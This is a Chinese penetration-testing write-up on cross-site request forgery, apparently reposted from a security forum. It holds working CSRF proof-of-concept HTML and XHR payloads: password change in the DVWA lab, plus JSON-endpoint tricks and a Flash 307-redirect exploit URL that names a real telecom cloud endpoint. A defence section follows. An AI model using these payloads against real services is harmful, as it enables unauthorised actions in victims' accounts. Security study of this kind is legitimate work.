
0x00 前言
漏洞背景
hw時(shí)期在電信三巨頭之一旗下的子公司出差,做一下滲透測(cè)試。
公網(wǎng)的業(yè)務(wù)主挖邏輯漏洞,但是每次挖著挖著就變成了CSRF攻擊,出差半個(gè)月算是把這輩子的CSRF都給挖完了。
testme師傅說(shuō)的一句話:開(kāi)發(fā)者修或不修,挖洞者覺(jué)得雞肋不雞肋,CSRF漏洞就躺著那里。
這一次的體會(huì)很深,某云基本所有的業(yè)務(wù)邏輯都存在CSRF洞。
CSRF原理

還是來(lái)梳理一下大致的流程
1.用戶C瀏覽并登錄信任網(wǎng)站A
2.驗(yàn)證通過(guò),Web A產(chǎn)生一個(gè)Cookie返回給用戶C
3.用戶在沒(méi)有等處的情況下訪問(wèn)Web B
4.B要求訪問(wèn)第三方站點(diǎn)Web A,發(fā)出一個(gè)請(qǐng)求
5.瀏覽器帶著步驟2產(chǎn)生的Cookie,根據(jù)步驟4的請(qǐng)求訪問(wèn)Web A
這就造成了一次CSRF攻擊,原理是利用目標(biāo)用戶的合法身份,以用戶的名義執(zhí)行非法操作
0x01 常見(jiàn)CSRF利用
GET型CSRF
這里選擇DVWA的low級(jí),可以抓包查看修改密碼的請(qǐng)求如下

可以看到發(fā)送了一個(gè)GET請(qǐng)求,來(lái)看看有哪些html元素可以實(shí)現(xiàn)這一請(qǐng)求
HTML中能夠設(shè)置src/href等鏈接地址的標(biāo)簽都可以發(fā)起一個(gè)GET請(qǐng)求,具體如下:
<link href="">
<img src="">
<img lowsrc="">
<img dynsrc="">
<meta http-equiv="refresh" content="0;url=">
<iframe src="">
<frame src="">
<script src="">
<bgsound src="">
<embed src="">
<audio src="">
<video src="">
<a href="">
<table background="">
以及css樣式中的:
@import ""
background:url("")
...
這里可以直接選擇Burp Suite的Generate CSRF PoC生成

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
當(dāng)用戶在登錄狀態(tài)下打開(kāi)并點(diǎn)擊Submit request按鈕時(shí),便會(huì)提交修改密碼請(qǐng)求

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://192.168.115.139:8088/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
POST型CSRF
POST型與GET型的區(qū)別就在于POST型CSRF需要構(gòu)造form表單,再由JAVAScript自動(dòng)提交
這里給出一個(gè)參考的攻擊頁(yè)面,當(dāng)然也可以Burp Suite直接生成POC
<html>
<head>
<title>
post data
</title>
</head>
<body>
<form id="id" method="post" action="https://www.xxx.com/submit">
</form>
<script>
var id = document.getElementById("id");
id.submit();
</script>
</body>
</html>
0x02 真實(shí)場(chǎng)景利用
某云多處POST型CSRF
創(chuàng)建Access Key
由于是即將上線的業(yè)務(wù),6月22日前暫未修復(fù),關(guān)鍵數(shù)據(jù)打馬

創(chuàng)建Access Key只是向服務(wù)器提交了一個(gè)POST請(qǐng)求,數(shù)據(jù)為空,POC如下

當(dāng)用戶在已登錄情況下打開(kāi),會(huì)創(chuàng)建一個(gè)Access Key

刪除Access Key

這里由POST提交的id即為我們之前創(chuàng)建的Access Key(不是上面那一個(gè)。。)
我最先測(cè)的是刪除的這個(gè)功能點(diǎn),但是甲方不收,說(shuō)這個(gè)id沒(méi)有辦法獲取到,后來(lái)才測(cè)了創(chuàng)建的那個(gè)功能點(diǎn)。
實(shí)際上,整個(gè)系統(tǒng)能夠越權(quán)的地方都產(chǎn)生了CSRF,不能越權(quán)的地方也可以用CSRF去打,算是通病了。
POC與上面那個(gè)類似,唯一區(qū)別就是這里帶了post數(shù)據(jù),value替換為相應(yīng)id即可。


今天準(zhǔn)備復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn)系統(tǒng)已經(jīng)暫時(shí)下線了,估計(jì)正在修復(fù),所以用了之前提交的測(cè)試報(bào)告的圖。
0x03 Json格式下的CSRF
在內(nèi)網(wǎng)測(cè)試域遇到了一個(gè)POST型CSRF,且提交的數(shù)據(jù)為json格式

如果直接用常規(guī)poc的話,會(huì)導(dǎo)致415,poc如下
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://xxxxxx/simauth/App/updateAppInfo" method="POST" enctype="text/plain">
<input type="hidden" name="{"appId":"300016001555","appName":"0xdawnnn"}" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

那我們?yōu)楹尾荒苁褂眠@個(gè)常規(guī)構(gòu)造的PoC來(lái)利用JSON端點(diǎn)中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式發(fā)送,而這種格式如果用HTML表單元素來(lái)構(gòu)建的話會(huì)比較麻煩。
2、Content-Type頭需要設(shè)置為application/json。設(shè)置自定義Header需要使用XMLHttpRequests,而它還會(huì)向服務(wù)器端發(fā)送OPTIONS預(yù)檢請(qǐng)求。
思路一:json格式閉合
我們可以抓包看一下這個(gè)poc提交的請(qǐng)求詳情

可以看到這段POST數(shù)據(jù)結(jié)尾多了一個(gè)=,這種情況下服務(wù)端的JSON解析器可能會(huì)拒絕這段JSON,因?yàn)樗环螶SON的數(shù)據(jù)格式。
這時(shí)候我們可以給value賦值從而對(duì)=后的數(shù)據(jù)進(jìn)行補(bǔ)全,使其構(gòu)造成一個(gè)完整的json格式,可以避免解析器報(bào)錯(cuò)
<input type="hidden" name='{"appId":"300016001555","appName":"0xdawnnn","test":"' value='test"}' />

可以看到這里已經(jīng)閉合成了一個(gè)完整的json格式的數(shù)據(jù),但是提交數(shù)據(jù)還是會(huì)返回415.因?yàn)樵谠嫉臄?shù)據(jù)包中Content-Type為application/json,而以form表單的形式去提交是沒(méi)辦法設(shè)置enctype為application/json的。
為了進(jìn)一步驗(yàn)證,修改enctype為application/json,再抓包查看請(qǐng)求詳情。

可以看到Content-Type自動(dòng)轉(zhuǎn)換為了
application/x-www-form-urlencoded,進(jìn)一步驗(yàn)證
將enctype改回text/plain并抓包,修改Content-Type為application/json

返回操作成功,自此可以確定服務(wù)端對(duì)Content-Type進(jìn)行了校驗(yàn)。
思路二:通過(guò)XHR提交
當(dāng)跨域影響用戶數(shù)據(jù)HTTP請(qǐng)求(如用XMLHttpRequest發(fā)送post)時(shí),瀏覽器會(huì)發(fā)送預(yù)檢請(qǐng)求(OPTIONS請(qǐng)求)給服務(wù)端征求支持的請(qǐng)求方法,然后根據(jù)服務(wù)端響應(yīng)允許才發(fā)送真正的請(qǐng)求。
然而如果服務(wù)端對(duì)Content-Type進(jìn)行校驗(yàn),則不會(huì)響應(yīng)這個(gè)OPTIONS請(qǐng)求,從而利用失敗。
所以在此場(chǎng)景下,這一思路是行不通的。
但是更多的情況下服務(wù)端可能不會(huì)校驗(yàn)Content-Type,或者不會(huì)嚴(yán)格校驗(yàn)Content-Type是否為application/json,所以很多情況下這是可用的。
XHR CSRF POC
<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.xxxxx.com/simauth/app/updateAppInfo", true);
xhr.setRequestHeader("Accept", "*/*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"appId":"300016001555","appName":"0xdawn"});
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();"/>
</form>
</body>
</html>
思路三:借助flash,利用307跳轉(zhuǎn)實(shí)現(xiàn)CSRF
1.制作一個(gè)Flash文件
2.制作一個(gè)跨域XML文件
3.制作一個(gè)具有307狀態(tài)碼的php文件
已經(jīng)有大牛造好輪子了,參考:
https://github.com/sp1d3r/swf_json_csrf
POC
https://www.0xdawn.cn/swf_json_csrf/test.swf?endpoint=https://sim.ecloud.10086.cn:8085/simauth/app/updateAppInfo&reqmethod=POST&ct=application/json;charset=UTF-8&jsonData={%22appId%22:%22300016001555%22,%22appName%22:%220xdawn%22}&php_url=https://www.0xdawn.cn/swf_json_csrf/test.php
或者直接在ui.html頁(yè)面配置

整個(gè)攻擊鏈
1、受害者訪問(wèn)POC,向attacter.com發(fā)起一條swf請(qǐng)求,swf向307.php發(fā)送HTTP POST請(qǐng)求。
2、attacter.com的307.php發(fā)起307跳轉(zhuǎn),跳轉(zhuǎn)到victim.com,注意307跳轉(zhuǎn)會(huì)帶著http請(qǐng)求方式,header和postdata進(jìn)行跳轉(zhuǎn)。
3、victim.com收到一條POST請(qǐng)求,并且Content-Type為application/json。
4、victim.com收到一條/crossdomain.xml請(qǐng)求。由于第三步優(yōu)先第四步執(zhí)行,導(dǎo)致跨域。
并且victim.com能收到crossdomain.xml請(qǐng)求,也證明了第三步的POST請(qǐng)求是Flash發(fā)出,而不是307.php發(fā)出。

然而在實(shí)際測(cè)試中卻并沒(méi)有起到理想中的效果,只能是記錄一下方法
0x04 防御CSRF
檢查Referer
一般情況下,用戶提交站內(nèi)請(qǐng)求,Referer中的來(lái)源應(yīng)該是站內(nèi)地址。如果發(fā)現(xiàn)Referer中的地址異常,就有可能遭到了CSRF攻擊。在瀏覽器客戶端層面,使用JavaScript和ActionScript已經(jīng)無(wú)法修改HTTP Referer了,檢查Referer字段是個(gè)不錯(cuò)的方法。
限制Cookie生命周期
CSRF產(chǎn)生的主要原因就是Cookie時(shí)效性未過(guò)的情況下,冒用用戶身份進(jìn)行非法操作。
而如果cookie失效,或者退出登錄,甚至切換一個(gè)瀏覽器,CSRF就不復(fù)存在了。
限制Cookie的生命周期,一定程度上能減少被CSRF攻擊的概率。
使用驗(yàn)證碼
使用驗(yàn)證碼是阻斷CSRF攻擊的有效手段,在用戶進(jìn)行相應(yīng)操作時(shí)輸入驗(yàn)證碼,可以最大限度上杜絕CSRF,唯一的缺點(diǎn)是會(huì)降低用戶體驗(yàn)。
使用一次性token
Anti-CSRF-token是當(dāng)下最流行的解決方案,在開(kāi)發(fā)過(guò)程中我們可以在HTTP請(qǐng)求中以參數(shù)的形式加入一個(gè)隨機(jī)產(chǎn)生的token,并在服務(wù)端進(jìn)行token校驗(yàn),如果請(qǐng)求中沒(méi)有token或者token內(nèi)容不正確,則認(rèn)為是CSRF攻擊而拒絕該請(qǐng)求。
更多黑客滲透體系化視頻教程,直接免費(fèi)觀看
黑客視頻教程+進(jìn)內(nèi)部群+領(lǐng)工具+靶場(chǎng)---搜索公眾號(hào):暗網(wǎng)黑客

作者:0xdawn
轉(zhuǎn)載自:
https://xz.aliyun.com/t/7911